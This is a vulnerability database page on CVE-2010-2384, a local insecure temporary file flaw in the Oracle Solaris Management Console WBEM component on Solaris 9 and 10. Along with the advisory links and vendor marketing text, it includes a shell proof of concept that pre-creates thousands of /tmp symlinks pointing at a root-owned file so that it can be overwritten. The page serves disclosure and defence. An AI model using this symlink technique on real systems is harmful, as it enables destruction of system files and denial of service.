Oracle Solaris Management Console - WBEM Insecure Temporary File Creation
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2010-2384 | 13 Jul 201000:00 | – | circl |
 | CVE-2010-2384 | 13 Jul 201022:07 | – | cve |
 | CVE-2010-2384 | 13 Jul 201022:07 | – | cvelist |
 | EUVD-2010-2394 | 7 Oct 202500:30 | – | euvd |
 | CVE-2010-2384 | 13 Jul 201022:30 | – | nvd |
 | Oracle Critical Patch Update Advisory - July 2010 | 13 Jul 201000:00 | – | oracle |
| Security | Oracle Critical Patch Update - July 2010 | 13 Jul 201000:00 | – | oracle |
 | Solaris wbem Unsafe Use Of Temporary Files | 21 Jul 201000:00 | – | packetstorm |
 | Design/Logic Flaw | 13 Jul 201022:30 | – | prion |
 | Oracle Critical Patch Update Advisory - July 2010 | 15 Jul 201000:00 | – | securityvulns |
10
source: https://www.securityfocus.com/bid/41642/info
The 'Solaris Management Console' sub component of Oracle Solaris creates temporary files in an insecure manner.
An attacker with local access can exploit this issue to overwrite arbitrary files. This may result in denial-of-service conditions or could aid in other attacks.
Solaris 9 and 10 are affected.
$ id
uid=101(fstuart) gid=14(sysadmin)
$ cd /tmp
$ x=0
$ while [ "$x" -ne 30000 ] ;do
> ln -s /etc/important /tmp/dummy.$x
> x=$(expr "$x" + 1)
> done
$ ls -dl /etc/important
-rw-r--r-- 1 root root 38 Jan 3 22:43 /etc/important
$ cat /etc/important
This is an important file!
EOFData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 23.2
EPSS0.0064